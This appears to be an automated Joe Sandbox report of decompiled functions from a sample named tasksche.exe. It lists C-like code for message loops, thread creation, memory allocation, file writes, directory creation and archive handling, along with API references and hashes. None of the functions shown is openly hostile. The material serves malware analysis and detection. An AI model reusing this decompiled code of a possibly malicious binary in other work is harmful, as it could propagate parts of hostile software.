Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memcmp_wcscpy
String ID: E
API String ID: 1926841707-3568589458
Opcode ID: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction ID: c8680630b07ceb330da05956c27536b96a03d31217007f6de18683c0289c3294
Opcode Fuzzy Hash: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction Fuzzy Hash: 4872B870D086849EEF25DB64C844BEA7BA55F05304F0840FFE94A6B2D2C77D7984CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D116 Relevance: 6.0, APIs: 4, Instructions: 29
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D116() {
				struct tagMSG _v32;
				int _t6;
				long _t12;

				_t6 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t6 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					TranslateMessage( &_v32);
					_t12 = DispatchMessageW( &_v32); // executed
					return _t12;
				}
				return _t6;
			}

0x0040d127
0x0040d12f
0x0040d138
0x0040d142
0x0040d14c
0x00000000
0x0040d14c
0x0040d154

APIs

PeekMessageW.USER32 ref: 0040D127
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
TranslateMessage.USER32(?), ref: 0040D142
DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction ID: 62915b0a08277243b8fe4fd8ce30adb6e130eab43b2b780e39f86cd7d7c3188f
Opcode Fuzzy Hash: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction Fuzzy Hash: 9FE0ED72E0112AA7CB20ABE19C0CDDB7F6CEE062517404021BD05E2015D638D116C7F5

Uniqueness

Uniqueness Score: -1.00%

Function 0040820B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040820B(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				void* __edi;
				void* _t47;
				void* _t50;
				signed int _t53;
				signed int _t54;
				signed int _t58;
				signed int _t63;
				signed int _t77;
				void* _t82;
				signed int _t85;
				void* _t97;
				intOrPtr _t101;
				void* _t103;
				void* _t106;

				_t106 = __eflags;
				_t96 = __edx;
				E0041A4DC(E004296DE, _t103);
				E0041AAF0(0xe0f4);
				_t101 = __ecx;
				_push(_t97);
				E00401822(_t103 - 0xe100, __edx, _t97, _t106,  *((intOrPtr*)(__ecx + 8)));
				_t98 = __ecx + 0x445c;
				_t77 = 0;
				 *(_t103 - 4) = 0;
				_t47 = E004088FD(_t103 - 0xe100, __ecx + 0x445c);
				_t82 = _t103 - 0xe100;
				if(_t47 == 0) {
					L18:
					 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
					E00401228(_t82, _t98); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
					return 0;
				}
				_push(1); // executed
				_t50 = E00401417(_t82, __edx); // executed
				if(_t50 != 0) {
					__eflags =  *(_t103 - 0x309b);
					if( *(_t103 - 0x309b) != 0) {
						L17:
						_t82 = _t103 - 0xe100;
						goto L18;
					}
					 *((intOrPtr*)(_t103 - 0x14)) = 0;
					__eflags =  *(_t103 - 0x30ab);
					if(__eflags == 0) {
						L10:
						E004070BC(_t101, _t96, _t103, __eflags, _t103 - 0xe100);
						_t53 =  *(_t101 + 8);
						_t85 =  *(_t53 + 0x72b2) & 0x0000ffff;
						__eflags = _t85 - 0x54;
						if(_t85 == 0x54) {
							L12:
							 *((char*)(_t53 + 0x51c1)) = 1;
							L13:
							_t54 =  *(_t101 + 8);
							__eflags =  *((short*)(_t54 + 0x72b2)) - 0x49;
							if( *((short*)(_t54 + 0x72b2)) != 0x49) {
								__eflags =  *((char*)(_t54 + 0x51c1));
								_t33 =  *((char*)(_t54 + 0x51c1)) == 0;
								__eflags =  *((char*)(_t54 + 0x51c1)) == 0;
								_t54 = E004116C9((_t54 & 0xffffff00 | _t33) & 0x000000ff, (_t54 & 0xffffff00 | _t33) & 0x000000ff, _t101 + 0x445c);
							}
							E00401000(_t54);
							do {
								_t58 = E004076AA(_t101, _t96, _t103 - 0xe100, E0040369F(_t96, _t103), _t103 - 0xd); // executed
								__eflags = _t58;
							} while (_t58 != 0);
							goto L17;
						}
						__eflags = _t85 - 0x49;
						if(_t85 != 0x49) {
							goto L13;
						}
						goto L12;
					}
					_t63 = E0041A7F7(_t103 - 0x1018, _t103 - 0xe0e2);
					__eflags =  *(_t103 - 0x30a6);
					_t98 = 0x800;
					while(1) {
						E0040A8A1(_t103 - 0x1018, _t98, (_t63 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
						E004067E1(_t103 - 0x2060);
						_push(0);
						__eflags = E004096BC(_t96, _t103 - 0x1018, _t103 - 0x2060);
						if(__eflags == 0) {
							break;
						}
						_t77 = _t77 +  *((intOrPtr*)(_t103 - 0x1060));
						_t63 =  *(_t103 - 0x105c);
						asm("adc [ebp-0x14], eax");
						__eflags =  *(_t103 - 0x30a6);
					}
					 *((intOrPtr*)(_t101 + 0x2210)) =  *((intOrPtr*)(_t101 + 0x2210)) + _t77;
					asm("adc [eax+0x4], ecx");
					goto L10;
				}
				if(E0040A788(_t98, L"rar") != 0) {
					E004062BA(0x4335ac, 1);
				}
				goto L17;
			}

0x0040820b
0x0040820b
0x00408210
0x0040821a
0x00408221
0x00408223
0x0040822d
0x00408232
0x00408238
0x00408241
0x00408244
0x00408249
0x00408251
0x004083a6
0x004083a6
0x004083aa
0x004083b7
0x004083bf
0x004083bf
0x00408257
0x00408259
0x00408260
0x00408286
0x0040828c
0x004083a0
0x004083a0
0x00000000
0x004083a0
0x00408292
0x00408295
0x0040829b
0x00408321
0x0040832a
0x0040832f
0x00408332
0x00408339
0x0040833d
0x00408345
0x00408345
0x0040834c
0x0040834c
0x0040834f
0x00408357
0x00408359
0x00408366
0x00408366
0x0040836e
0x0040836e
0x00408379
0x0040837e
0x00408397
0x0040839c
0x0040839c
0x00000000
0x0040837e
0x0040833f
0x00408343
0x00000000
0x00000000
0x00000000
0x00408343
0x004082af
0x004082b4
0x004082bc
0x004082db
0x004082ea
0x004082f5
0x004082fa
0x0040830f
0x00408311
0x00000000
0x00000000
0x004082c9
0x004082cb
0x004082d1
0x004082d4
0x004082d4
0x0040831c
0x0040831e
0x00000000
0x0040831e
0x0040826f
0x0040827c
0x0040827c
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00408210

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401417: __EH_prolog.LIBCMT ref: 0040141C

_wcscpy.LIBCMT ref: 004082AF

Strings

rar, xrefs: 00408262

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$_wcscpy
String ID: rar
API String ID: 2876264062-1792618458
Opcode ID: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction ID: 75000dcce843433d4275637ef0618472c828e59e125cdaf0ff5f97d994d1ab7f
Opcode Fuzzy Hash: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction Fuzzy Hash: 3D41A4319002589EDB24DB50C955BEA77B8AB14304F4448FFE489B3182DB796FC8CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00411254 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411254() {
				void* __ecx;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t13;
				void** _t20;
				void* _t23;
				void* _t24;

				_t23 = 0;
				if( *0x4335ac > 0) {
					_t20 = 0x4335b0;
					do {
						_t7 = CreateThread(0, 0x10000, E004111DD, 0x4335ac, 0, _t24 + 0x10); // executed
						_t13 = _t7;
						if(_t13 == 0) {
							_push(L"CreateThread failed");
							_push(0x4335ac);
							E00401000(E00406423(0x4335ac));
							E00406371(0x4335ac, 2);
						}
						 *_t20 = _t13;
						 *0x00433630 =  *((intOrPtr*)(0x433630)) + 1;
						_t8 =  *0x44f58c; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t20, _t8);
						}
						_t23 = _t23 + 1;
						_t20 =  &(_t20[1]);
					} while (_t23 <  *0x4335ac);
					return _t8;
				}
				return _t5;
			}

0x00411259
0x0041125d
0x00411261
0x00411264
0x00411278
0x0041127e
0x00411282
0x00411284
0x00411289
0x0041129a
0x004112a6
0x004112a6
0x004112ab
0x004112ad
0x004112b3
0x004112ba
0x004112bf
0x004112bf
0x004112c5
0x004112c6
0x004112c9
0x00000000
0x004112ce
0x004112d2

APIs

CreateThread.KERNELBASE ref: 00411278
SetThreadPriority.KERNEL32(?,00000000,?,?,004112E4,-00000108,00404FE0), ref: 004112BF

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

CreateThread failed, xrefs: 00411284

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction ID: 964536ca15170dd961cb9332306e5bd8003a90b1d1e662a5f33448d65f1dc838
Opcode Fuzzy Hash: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction Fuzzy Hash: 4B01A2753453057BD3215F55AC46BB673A9EB44766F20043FFB82E11D0DAB4A8608A2D

Uniqueness

Uniqueness Score: -1.00%

Function 004126F0 Relevance: 4.6, APIs: 3, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004126F0(void* __ecx, unsigned int _a4, char _a8, char _a11) {
				signed int _v8;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				unsigned int _t37;
				signed int _t39;
				intOrPtr _t41;
				signed int _t44;
				signed int _t50;
				unsigned int _t53;
				void* _t59;
				void* _t64;
				signed int _t65;
				signed int* _t67;
				intOrPtr* _t69;
				void* _t74;

				_t53 = _a4;
				_t74 = __ecx;
				if(_t53 == 0) {
					E004063CE(0x4335ac);
				}
				_t37 = 0x40000;
				if(_t53 < 0x40000) {
					_t53 = 0x40000;
					_a4 = 0x40000;
				}
				if(_t53 >  *(_t74 + 0xe6d8)) {
					_t37 = _t53 >> 0x10;
					if(_t37 <= 0x10000) {
						if(_a8 == 0 ||  *(_t74 + 0x4b34) == 0 &&  *((char*)(_t74 + 0x4c38)) == 0) {
							L11:
							_a11 = 0;
							goto L12;
						} else {
							_a11 = 1;
							if( *((char*)(_t74 + 0x4c38)) == 0) {
								L12:
								_push(_t67);
								if( *((char*)(_t74 + 0x4c38)) == 0) {
									_t39 = E0041CF3E(_t53, _t64, _t67, _t53); // executed
									_v8 = _t39;
									__eflags = _t39;
									if(__eflags != 0) {
										L20:
										if( *((char*)(_t74 + 0x4c38)) != 0) {
											L27:
											 *(_t74 + 0xe6d8) = _t53;
											 *((intOrPtr*)(_t74 + 0xe6dc)) = _t53 - 1;
											return _t39;
										}
										E0041A820(_t67, _v8, 0, _t53);
										if(_a11 == 0) {
											L24:
											_t69 = _t74 + 0x4b34;
											_t41 =  *_t69;
											_t94 = _t41;
											if(_t41 != 0) {
												_push(_t41);
												E0041A506(_t53, _t69, _t74, _t94);
											}
											_t39 = _v8;
											 *_t69 = _t39;
											goto L27;
										}
										_t59 = 1;
										if( *(_t74 + 0xe6d8) < 1) {
											goto L24;
										} else {
											goto L23;
										}
										do {
											L23:
											_t44 =  *((intOrPtr*)(_t74 + 0x70)) - _t59;
											_t65 = _t53 - 1;
											_t53 = _a4;
											_t59 = _t59 + 1;
											 *((char*)((_t65 & _t44) + _v8)) =  *((intOrPtr*)(( *(_t74 + 0xe6d8) - 0x00000001 & _t44) +  *(_t74 + 0x4b34)));
										} while (_t59 <=  *(_t74 + 0xe6d8));
										goto L24;
									}
									L15:
									if(_a11 != 0 || _t53 < 0x1000000) {
										goto L10;
									} else {
										_t67 = _t74 + 0x4b34;
										_t50 =  *_t67;
										_t88 = _t50;
										if(_t50 != 0) {
											_push(_t50);
											E0041A506(_t53, _t67, _t74, _t88);
											 *_t67 =  *_t67 & 0x00000000;
										}
										_t39 = E0041254D(_t74 + 0x4b38, _t53);
										 *((char*)(_t74 + 0x4c38)) = 1;
										goto L20;
									}
								}
								_v8 = _v8 & 0x00000000;
								goto L15;
							}
							L10:
							E0041216A( &_v20);
							E0041C77F( &_v20, 0x42d504);
							goto L11;
						}
					}
				}
				return _t37;
			}

0x004126f7
0x004126fb
0x004126ff
0x00412706
0x00412706
0x0041270b
0x00412712
0x00412714
0x00412716
0x00412716
0x0041271f
0x00412727
0x0041272f
0x00412739
0x00412770
0x00412770
0x00000000
0x0041274d
0x00412754
0x00412758
0x00412774
0x0041277b
0x0041277c
0x00412785
0x0041278b
0x0041278e
0x00412790
0x004127c9
0x004127d0
0x00412837
0x00412837
0x0041283e
0x00000000
0x00412844
0x004127d8
0x004127e4
0x0041281f
0x0041281f
0x00412825
0x00412827
0x00412829
0x0041282b
0x0041282c
0x00412831
0x00412832
0x00412835
0x00000000
0x00412835
0x004127e8
0x004127ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004127f1
0x004127f1
0x004127fa
0x004127ff
0x00412802
0x00412813
0x00412814
0x00412817
0x00000000
0x004127f1
0x00412792
0x00412796
0x00000000
0x004127a0
0x004127a0
0x004127a6
0x004127a8
0x004127aa
0x004127ac
0x004127ad
0x004127b2
0x004127b5
0x004127bd
0x004127c2
0x00000000
0x004127c2
0x00412796
0x0041277e
0x00000000
0x0041277e
0x0041275a
0x0041275d
0x0041276b
0x00000000
0x0041276b
0x00412739
0x0041272f
0x00412848

APIs

__CxxThrowException@8.LIBCMT ref: 0041276B
_malloc.LIBCMT ref: 00412785

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_memset.LIBCMT ref: 004127D8

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_malloc_memset
String ID:
API String ID: 3965744532-0
Opcode ID: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction ID: 1154a5c9599e5537b836a1002f89e902606abe80a59ae87693d08389c363c3d7
Opcode Fuzzy Hash: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction Fuzzy Hash: 05410470905745ABEB25EE38D6C47DBB7D0AF14304F20482FE5A6D3281C7B8A9E4C718

Uniqueness

Uniqueness Score: -1.00%

Function 00408AA9 Relevance: 4.6, APIs: 3, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00408AA9(intOrPtr* __ecx, void* __edx, void* _a4, long _a8) {
				long _v8;
				char _t28;
				long _t33;
				long _t34;
				int _t37;
				void* _t38;
				char _t43;
				intOrPtr _t48;
				long _t56;
				void* _t61;
				struct _OVERLAPPED* _t63;
				intOrPtr* _t68;

				_t61 = __edx;
				_push(__ecx);
				_t68 = __ecx;
				if(_a8 != 0) {
					if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
						 *(_t68 + 4) = GetStdHandle(0xfffffff5);
					}
					while(1) {
						_t63 = 0;
						_t43 = 0;
						_v8 = 0;
						if( *((intOrPtr*)(_t68 + 0xc)) == 0) {
							goto L12;
						}
						if(_a8 <= 0) {
							L14:
							if( *((char*)(_t68 + 0x14)) == 0 ||  *((intOrPtr*)(_t68 + 0xc)) != 0) {
								L21:
								_t28 = _t43;
								 *((char*)(_t68 + 8)) = 1;
								L22:
								return _t28;
							} else {
								if(E00406336(0x4335ac, _t68 + 0x1e, 0) == 0) {
									E004064F3(0x4335ac, 0, _t68 + 0x1e);
									goto L21;
								}
								_t33 = _v8;
								if(_t33 < _a8 && _t33 > 0) {
									_t48 =  *_t68;
									_t38 =  *((intOrPtr*)(_t48 + 0x10))(0);
									asm("sbb edx, edi");
									 *((intOrPtr*)(_t48 + 0xc))(_t38 - _v8, _t61);
								}
								continue;
							}
						} else {
							goto L7;
						}
						while(1) {
							L7:
							_t56 = _a8 - _t63;
							_t34 = 0x4000;
							if(_t56 < 0x4000) {
								_t34 = _t56;
							}
							_t37 = WriteFile( *(_t68 + 4), _a4 + _t63, _t34,  &_v8, 0);
							asm("sbb bl, bl");
							_t43 =  ~(_t37 - 1) + 1;
							if(_t43 == 0) {
								goto L14;
							}
							_t63 = _t63 + 0x4000;
							if(_t63 < _a8) {
								continue;
							}
							L13:
							if(_t43 != 0) {
								goto L21;
							}
							goto L14;
						}
						goto L14;
						L12:
						WriteFile( *(_t68 + 4), _a4, _a8,  &_v8, 0); // executed
						asm("sbb bl, bl");
						_t43 = 1;
						goto L13;
					}
				}
				_t28 = 1;
				goto L22;
			}

0x00408aa9
0x00408aac
0x00408ab2
0x00408ab4
0x00408ac1
0x00408acb
0x00408acb
0x00408ad0
0x00408ad0
0x00408ad2
0x00408ad4
0x00408ada
0x00000000
0x00000000
0x00408adf
0x00408b40
0x00408b44
0x00408ba1
0x00408ba2
0x00408ba4
0x00408ba9
0x00408bab
0x00408b4c
0x00408b60
0x00408b9c
0x00000000
0x00408b9c
0x00408b62
0x00408b68
0x00408b76
0x00408b7c
0x00408b86
0x00408b8c
0x00408b8c
0x00000000
0x00408b68
0x00000000
0x00000000
0x00000000
0x00408ae1
0x00408ae1
0x00408ae4
0x00408ae6
0x00408aed
0x00408aef
0x00408aef
0x00408b01
0x00408b0c
0x00408b0e
0x00408b10
0x00000000
0x00000000
0x00408b12
0x00408b1b
0x00000000
0x00000000
0x00408b3c
0x00408b3e
0x00000000
0x00000000
0x00000000
0x00408b3e
0x00000000
0x00408b1f
0x00408b2d
0x00408b38
0x00408b3a
0x00000000
0x00408b3a
0x00408ad0
0x00408ab6
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?,?,00000001,?), ref: 00408AC5
WriteFile.KERNEL32(00000001,?,00004000,?,00000000,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?), ref: 00408B01
WriteFile.KERNELBASE(00000001,?,00000000,?,00000000,?,?,?,?,?,0040BB41,?,?,00000000,?,?), ref: 00408B2D

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction ID: f20fcf70e75a5c6d44a32b1c4255a65a5bf54a4d93884812af3801fc7a684339
Opcode Fuzzy Hash: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction Fuzzy Hash: 9B31C371300204AFDB209F65CA44BAB77A9EB94310F04813FF996E72C1DB78A905DF29

Uniqueness

Uniqueness Score: -1.00%

Function 004092C9 Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004092C9(void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t9;
				long _t11;
				void* _t12;
				int _t21;
				WCHAR* _t22;
				void* _t24;

				_t24 = __eflags;
				E0041AAF0(0x1000);
				_t22 = _a4;
				_t9 =  *(E0040A08A(_t24, _t22)) & 0x0000ffff;
				if(_t9 == 0x2e || _t9 == 0x20) {
					L3:
					if(E004092A5(_t22) != 0 || E0040A3DC(_t22,  &_v4100, 0x800) == 0 || CreateDirectoryW( &_v4100, 0) == 0) {
						_t11 = GetLastError();
						__eflags = _t11 - 2;
						if(_t11 == 2) {
							L12:
							_t12 = 2;
							return _t12;
						}
						__eflags = _t11 - 3;
						if(_t11 == 3) {
							goto L12;
						}
						return 1;
					} else {
						goto L6;
					}
				} else {
					_t21 = CreateDirectoryW(_t22, 0); // executed
					if(_t21 != 0) {
						L6:
						if(_a8 != 0) {
							E0040908D(_t22, _a12);
						}
						return 0;
					}
					goto L3;
				}
			}

0x004092c9
0x004092d1
0x004092d8
0x004092e1
0x004092ee
0x004092ff
0x00409307
0x00409341
0x00409347
0x0040934a
0x00409356
0x00409358
0x00000000
0x00409358
0x0040934c
0x0040934f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004092f6
0x004092f9
0x004092fd
0x0040932e
0x00409332
0x00409338
0x00409338
0x00000000
0x0040933d
0x00000000
0x004092fd

APIs

Part of subcall function 0040A08A: _wcslen.LIBCMT ref: 0040A090

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?), ref: 004092F9
CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000800,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?), ref: 00409328
GetLastError.KERNEL32(00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?,?,004067A5), ref: 00409341

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction ID: 5cfd1deac55777c6f3d5c0bdf32a3cf990456680eccb4e8d5c114054f7fd3324
Opcode Fuzzy Hash: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction Fuzzy Hash: DD01C031100204A5DB216A664C42BBB37589B4EB84F88447BFD41F62D2CB7C9C92D97E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2D7 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040E2D7(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _t20;
				void* _t25;
				void* _t39;
				void* _t45;
				intOrPtr _t47;

				_t39 = __edx;
				E0041A4DC(E00429794, _t45);
				_push(__ecx);
				E0041AAF0(0x6460);
				 *((intOrPtr*)(_t45 - 0x10)) = _t47;
				E0041A7F7(0x44ac32, "X");
				E00410D16(0x44cc54, 0x42a570);
				E0041A7F7(0x44bc52,  *((intOrPtr*)(_t45 + 0xc)));
				E0040537E(0x443980,  *((intOrPtr*)(_t45 + 0xc)));
				_t4 = _t45 - 4;
				 *(_t45 - 4) =  *(_t45 - 4) & 0x00000000;
				_t20 = 4;
				 *0x449c14 = _t20;
				 *0x449c10 = _t20;
				 *0x449c0c = _t20;
				 *0x448ad3 =  *0x441823;
				_push(0x443980);
				 *0x448b08 = 1;
				 *0x448b0b = 1;
				 *0x448ad4 =  *0x441822; // executed
				E00407150(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 1;
				E004083C0(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 0;
				_t25 = E00407074(_t45 - 0x6470); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t45 - 0xc));
				return _t25;
			}

0x0040e2d7
0x0040e2dc
0x0040e2e1
0x0040e2e7
0x0040e2ef
0x0040e2fc
0x0040e30d
0x0040e31a
0x0040e32b
0x0040e330
0x0040e330
0x0040e336
0x0040e337
0x0040e33c
0x0040e341
0x0040e34b
0x0040e355
0x0040e35c
0x0040e363
0x0040e36a
0x0040e36f
0x0040e37a
0x0040e37e
0x0040e389
0x0040e38d
0x0040e397
0x0040e3a0

APIs

__EH_prolog.LIBCMT ref: 0040E2DC
_wcscpy.LIBCMT ref: 0040E2FC

Part of subcall function 00410D16: _wcslen.LIBCMT ref: 00410D2C
Part of subcall function 00410D16: _wcscpy.LIBCMT ref: 00410D42

_wcscpy.LIBCMT ref: 0040E31A

Part of subcall function 00407150: __EH_prolog.LIBCMT ref: 00407155

Part of subcall function 00407074: __EH_prolog.LIBCMT ref: 00407079

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
